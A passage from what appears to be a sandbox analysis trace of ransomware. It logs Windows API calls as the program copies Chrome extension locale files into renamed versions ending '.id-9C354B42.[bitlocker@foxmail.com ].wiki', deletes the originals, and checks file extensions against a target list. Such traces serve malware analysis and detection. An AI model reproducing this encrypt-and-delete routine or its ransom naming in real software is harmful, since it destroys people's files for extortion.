Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.445] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=336) returned 1 [0177.445] CloseHandle (hObject=0x1b4) returned 1 [0177.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json")) returned 0x2020 [0177.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.445] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.445] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.447] GetLastError () returned 0x0 [0177.447] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x150, lpOverlapped=0x0) returned 1 [0177.448] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x160, lpOverlapped=0x0) returned 1 [0177.449] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.449] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.449] SetEndOfFile (hFile=0x160) returned 1 [0177.450] CloseHandle (hObject=0x160) returned 1 [0177.450] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.450] SetEndOfFile (hFile=0x1b4) returned 1 [0177.450] CloseHandle (hObject=0x1b4) returned 1 [0177.451] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.451] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json")) returned 1 [0177.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.451] lstrlenW (lpString=".doc") returned 4 [0177.451] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.451] lstrlenW (lpString=".docx") returned 5 [0177.451] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.451] lstrlenW (lpString=".pdf") returned 4 [0177.451] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.451] lstrlenW (lpString=".xls") returned 4 [0177.451] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.451] lstrlenW (lpString=".xlsx") returned 5 [0177.451] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.452] lstrlenW (lpString=".ppt") returned 4 [0177.452] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.452] lstrlenW (lpString=".zip") returned 4 [0177.452] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.452] lstrlenW (lpString=".rar") returned 4 [0177.452] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.452] lstrlenW (lpString=".bz2") returned 4 [0177.452] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.452] lstrlenW (lpString=".7z") returned 3 [0177.452] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.452] lstrlenW (lpString=".dbf") returned 4 [0177.452] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.452] lstrlenW (lpString=".1cd") returned 4 [0177.452] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.452] lstrlenW (lpString=".jpg") returned 4 [0177.452] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.452] lstrlenW (lpString=".doc") returned 4 [0177.452] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.452] lstrlenW (lpString=".docx") returned 5 [0177.452] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.452] lstrlenW (lpString=".pdf") returned 4 [0177.453] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.453] lstrlenW (lpString=".xls") returned 4 [0177.453] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.453] lstrlenW (lpString=".xlsx") returned 5 [0177.453] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.453] lstrlenW (lpString=".ppt") returned 4 [0177.453] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.453] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.453] lstrlenW (lpString=".zip") returned 4 [0177.453] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.453] lstrlenW (lpString=".rar") returned 4 [0177.453] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.453] lstrlenW (lpString=".bz2") returned 4 [0177.453] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.453] lstrlenW (lpString=".7z") returned 3 [0177.453] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.453] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.453] lstrlenW (lpString=".dbf") returned 4 [0177.453] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.453] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.453] lstrlenW (lpString=".1cd") returned 4 [0177.453] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.453] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json") returned 151 [0177.453] lstrlenW (lpString=".jpg") returned 4 [0177.453] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.454] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.454] lstrlenW (lpString="messages.json") returned 13 [0177.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.454] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=277) returned 1 [0177.454] CloseHandle (hObject=0x1b4) returned 1 [0177.454] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json")) returned 0x2020 [0177.454] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.455] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.455] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.455] GetLastError () returned 0x0 [0177.455] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x115, lpOverlapped=0x0) returned 1 [0177.456] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x120, lpOverlapped=0x0) returned 1 [0177.457] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.457] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.458] SetEndOfFile (hFile=0x160) returned 1 [0177.458] CloseHandle (hObject=0x160) returned 1 [0177.458] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.458] SetEndOfFile (hFile=0x1b4) returned 1 [0177.459] CloseHandle (hObject=0x1b4) returned 1 [0177.459] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.459] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json")) returned 1 [0177.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.459] lstrlenW (lpString=".doc") returned 4 [0177.459] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.459] lstrlenW (lpString=".docx") returned 5 [0177.459] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.459] lstrlenW (lpString=".pdf") returned 4 [0177.459] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.459] lstrlenW (lpString=".xls") returned 4 [0177.460] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.460] lstrlenW (lpString=".xlsx") returned 5 [0177.460] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.460] lstrlenW (lpString=".ppt") returned 4 [0177.460] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.460] lstrlenW (lpString=".zip") returned 4 [0177.460] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.460] lstrlenW (lpString=".rar") returned 4 [0177.460] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.460] lstrlenW (lpString=".bz2") returned 4 [0177.460] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.460] lstrlenW (lpString=".7z") returned 3 [0177.460] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.460] lstrlenW (lpString=".dbf") returned 4 [0177.460] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.460] lstrlenW (lpString=".1cd") returned 4 [0177.460] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.460] lstrlenW (lpString=".jpg") returned 4 [0177.460] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.460] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.460] lstrlenW (lpString=".doc") returned 4 [0177.460] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.461] lstrlenW (lpString=".docx") returned 5 [0177.461] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.461] lstrlenW (lpString=".pdf") returned 4 [0177.461] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.461] lstrlenW (lpString=".xls") returned 4 [0177.461] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.461] lstrlenW (lpString=".xlsx") returned 5 [0177.461] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.461] lstrlenW (lpString=".ppt") returned 4 [0177.461] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.461] lstrlenW (lpString=".zip") returned 4 [0177.461] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.461] lstrlenW (lpString=".rar") returned 4 [0177.461] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.461] lstrlenW (lpString=".bz2") returned 4 [0177.461] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.461] lstrlenW (lpString=".7z") returned 3 [0177.461] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.461] lstrlenW (lpString=".dbf") returned 4 [0177.461] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.461] lstrlenW (lpString=".1cd") returned 4 [0177.461] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.461] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json") returned 151 [0177.461] lstrlenW (lpString=".jpg") returned 4 [0177.462] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.463] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.463] lstrlenW (lpString="messages.json") returned 13 [0177.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.464] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=293) returned 1 [0177.464] CloseHandle (hObject=0x1b4) returned 1 [0177.464] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json")) returned 0x2020 [0177.464] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.464] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0177.464] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.464] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0177.465] GetLastError () returned 0x0 [0177.465] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x125, lpOverlapped=0x0) returned 1 [0177.466] WriteFile (in: hFile=0x160, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x130, 